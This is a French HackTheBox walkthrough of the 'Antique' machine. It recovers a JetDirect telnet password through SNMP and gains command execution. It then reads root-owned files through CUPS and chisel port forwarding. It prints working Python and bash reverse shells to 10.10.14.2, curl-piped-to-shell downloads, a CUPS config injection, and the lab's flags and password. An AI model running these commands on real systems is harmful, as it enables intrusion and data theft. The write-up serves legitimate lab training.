HackTheBox Walkthrough - Antique

  • Machine ciblée : Antique.

  • Répertoire : /home/kali/Antique

  • Temps passé dessus : 4h

Phase 1 : Reconnaissance

┌──(kali㉿kali)-[~]
└─$
name="Antique"
repository="/home/kali/$name"
ip="10.10.11.107"
domain='htb'
cd $repository 2&>/dev/null || mkdir $repository && cd $repository
grep "$ip $name ${name}.${domain}" /etc/hosts  >/dev/null || echo "$ip $name ${name}.${domain}" | sudo tee -a /etc/hosts

nmap  -Pn -A -T5 --top-port 1000 -oN $repository/txt $ip
nmap  -Pn -A -T5 -p - -oN $repository/full $ip

PORT   STATE SERVICE VERSION
23/tcp open  telnet?
| fingerprint-strings:
|   GenericLines:
|     JetDirect
|     Password:
|   NULL:
|_    JetDirect

OMFG, j’espère c’est faux.

┌──(kali㉿kali)-[~/Antique]
└─$ telnet $ip                                 
Trying 10.10.11.107...
Connected to 10.10.11.107.
Escape character is '^]'.

HP JetDirect

Password:
Invalid password

Bon. C’était dans le titre …

Phase 2 : Analyse

On sait que l’on a uniquement du telnet, sur une imprimante ou équivalent « HP JetDirect » Quelques recheches google pour trouver la documentation. Il s’agit en faite d’un serveur d’impression. En telnet. En 2014. Ça promet. On remarque aussi un module metasploit. Allons regarder par là. Quand on lit le module, on se rends compte qu’il exploie une faille sur SNMP. Jettons un oeil de ce côté.

┌──(kali㉿kali)-[~/Antique]
└─$ sudo nmap -Pn -A -T5 -p 161 -sU -oN $repository/udp $ip
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-27 09:07 EST
PORT    STATE SERVICE VERSION
161/udp open  snmp    SNMPv1 server (public)
Too many fingerprints match this host to give specific OS details

┌──(kali㉿kali)-[~/Antique]
└─$ snmpwalk -v 1 -c public $ip
iso.3.6.1.2.1 = STRING: "HTB Printer"

La machine répond donc bien aux trames SNMP avec la community public. Recherche google « hp jetdirect snmp exploit » et l’on tombe sur une note de exploitdb.

┌──(kali㉿kali)-[~/Antique]
└─$ snmpwalk -v 1 -c public $ip 1.3.6.1.4.1.11.2.3.9.1.1.13.0     
iso.3.6.1.4.1.11.2.3.9.1.1.13.0 = BITS: 50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32
33 1 3 9 17 18 19 22 23 25 26 27 30 31 33 34 35 37 38 39 42 43 49 50 51 54 57 58 61 65 74 75 79 82 83 86 90 91 94 95 98 103 106 111 114 115 119 122 123 126 130 131 134 135

┌──(kali㉿kali)-[~/Antique]
└─$ echo "50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32 33 1 3 9 17 18 19 22 23 25 26 27 30 31 33 34 35 37 38 39 42 43 49 50 51 54 57 58 61 65 74 75 79 82 83 86 90 91 94 95 98 103 106 111 114 115 119 122 123 126 130 131 134 135" | xxd -r -p
P@ssw0rd@123!!123�q��"2Rbs3CSs��$4�Eu�WGW�(8i   IY�aA�"1&1A5

On a donc le mot de passe. En vrai, j’suis passé par hextoascii, mais c’est plus sympa de proposer la ligne de commande pour faire la même chose ;)

Phase 3 : User

Bon, ok, tout le travail a été fait pendant l’analyse, on a plus qu’à vérifié que ça marche.

┌──(kali㉿kali)-[~/Antique]
└─$ telnet $ip         
Trying 10.10.11.107...
Connected to 10.10.11.107.
Escape character is '^]'.

HP JetDirect

Password: P@ssw0rd@123!!123

Please type "?" for HELP
> exec id
uid=7(lp) gid=7(lp) groups=7(lp),19(lpadmin)
> exec ls
telnet.py
user.txt
> exec cat user.txt
e269a354daeed22971d8619b8138cfc0

Phase 4 : Elevation de privilege

┌──(kali㉿kali)-[~]
└─$ cd Tools                                                

┌──(kali㉿kali)-[~/Tools]
└─$     python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

> exec curl http://10.10.14.2:8000/linpeas.sh |sh

Le curl ne fonctionne pas et m’oblige à tuer la session. Je me suis donc intéressé au fichier telnet.py, il semblerait que ça soit lui qui gère la connexion telnet à proprement parler. il autorise les exec, mais aucune autre commande ne marchera. Repartons sur ce que l’on connait, on est sur la machine en tant que LP, membre du group LPAdmin. Cherchons ça sur internet ? Le concept est un peu chiant à faire à cause de la commande exec, mais en gros tu récupère une valeur dans le fichier /var/run/cups/certs/0 qui est la clé pour te connecter à l’interface d’administration de cups (le service d’impression) présente sur le port TCP/631. Depuis cette interface, tu peux récupérer n’importe quel fichier. Voyons voir si c’est exploitable.

> exec ss -ln4
Netid  State   Recv-Q  Send-Q   Local Address:Port   Peer Address:Port Process  
udp    UNCONN  0       0              0.0.0.0:161         0.0.0.0:*             
tcp    LISTEN  0       128            0.0.0.0:23          0.0.0.0:*             
tcp    LISTEN  0       4096         127.0.0.1:631         0.0.0.0:*             
> exec cat /var/run/cups/certs/0
FFCBAE4282C23620EECADED2195A1AD0>

>  exec curl -x POST -H "Authorization: Local FFCBAE4282C23620EECADED2195A1AD0" -H "Cookie: org.cups.sid=" -d "OP=config-server&org.cups.sid=&SAVECHANGES=1&CUPSDCONF=Listen localhost:631%0APageLog /root/root.txt" http://localhost:631/admin/
> exec curl -H "Authorization: Local FFCBAE4282C23620EECADED2195A1AD0" -H "Cookie: org.cups.sid=" http://localhost:631/admin/log/page_log

Alors … Normalement, ça aurait du marcher. Mais je ne sais pas pourquoi, il ne veut pas le prendre en compte. J’ai donc relu le write-up, ce dernier passe par un redirection de port plutôt intéressante, on va essayer de le mettre en place et d’en garder note.

#On se créer notre reverseshell
┌──(kali㉿kali)-[~]
└─$ while 1=1; do rlwrap -cAr nc -lvp 3333; done
listening on [any] 3333 ...

> exec python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.2",3333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' ##Ne marche pas
> exec python3.8 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.2",3333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' ## Marche
> bash -c 'exec bash -i &>/dev/tcp/10.10.14.2/3333 <&1' #Marche

#On prépare Chisel sur son PC
┌──(kali㉿kali)-[~]
└─$ curl https://i.jpillora.com/chisel! | bash
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  5034    0  5034    0     0   2456      0 --:--:--  0:00:02 --:--:--  2458
Installing jpillora/chisel v1.7.7 (linux/amd64).....
######################################################################## 100.0%
mv with sudo...
[sudo] password for kali:
Installed at /usr/local/bin/chisel
┌──(kali㉿kali)-[~]
└─$ cd /usr/local/bin/
┌──(kali㉿kali)-[/usr/local/bin]
└─$ python3 -m http.server &   
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
┌──(kali㉿kali)-[/usr/local/bin]
└─$ chisel server -p 3322 --reverse
2022/11/27 13:03:47 server: Reverse tunnelling enabled
2022/11/27 13:03:47 server: Fingerprint 7FxwDasOF1sy8n3TIDPvuwiHNjMQMq/YswI0VXdA+Lw=
2022/11/27 13:03:47 server: Listening on http://0.0.0.0:3322

#On récupère chisel depuis le serveur distant
lp@antique:~$ wget http://10.10.14.2:800/chisel
lp@antique:~$ chmod +x ./chisel

#Avant de le lancer, on modifie la configuration de cups pour lui dire que la ErrorLog est /root/root.txt #Normalement, je voulais le faire run avec le PageLog, comme dans l'exploit de base, mais ça ne fonctionne pas.
lp@antique:~$ cupsctl ErrorLog="/root/root.txt"
#On lance
lp@antique:~$ ./chisel client 10.10.14.2:3322 R:631:127.0.0.1:631 #Si tu la connais pas, tu la trouve pas elle hein ?

Il ne reste plus qu’à aller sur la page d’administration http://127.0.0.1:631/admin/ et cliquer sur View Erro Log pour récupérer le flag.

N.B: J’ai tenté de le faire sans ouvrir son reverseshell chelou pendant 1/2h, mais ça m’a semblé impossible. Je le trouve dur à trouver : les autres reverseshells classiques ne fonctionnent pas, t’es obligé d’utiliser le Python#2 de revshell, et même comme ça, tu ne peux pas l’exploiter direct, il faut que tu le lance en python3.8. Tirer par les cheveux. Sinon, tu peux exécuter un des reverseshell bash de GTFOBins mais je comprends pas pourquoi il passe car si tu met exec en début de ligne, il fonctionne pas. Contre-intuitif

Récapitulatif

Cette box n’était absolument pas technique, il suffisait de faire de la recherche documentaire sur google pour trouver tous les chemins d’attaques en quelques minutes. Par contre, la mise en application est chaotique au point que je n’ai pas réussi à prendre le moindre plaisir sur la privilege escalation. J’ai particulièrement aimé le fait de devoir scanner l’udp, qui ne sert quasiment jamais et de devoir exploité le SNMP. Je regrète ne pas avoir pu comprendre d’où sort l’OID.

A retenir

  • Scanner l’udp, ça peut parfois servir.

  • Sortir un fichier xml de mon scan total et le passer à searchsploit : j’ai découvert par hasard qu’une commande permet de faire ça, alors je vais le rajouter à mon scan total .

  • Ce n’est pas parce qu’un port se trouve « caché en local » qu’il n’est pas exploitable depuis l’extérieur. Pour ça, Chisel peut être un outil intéressant.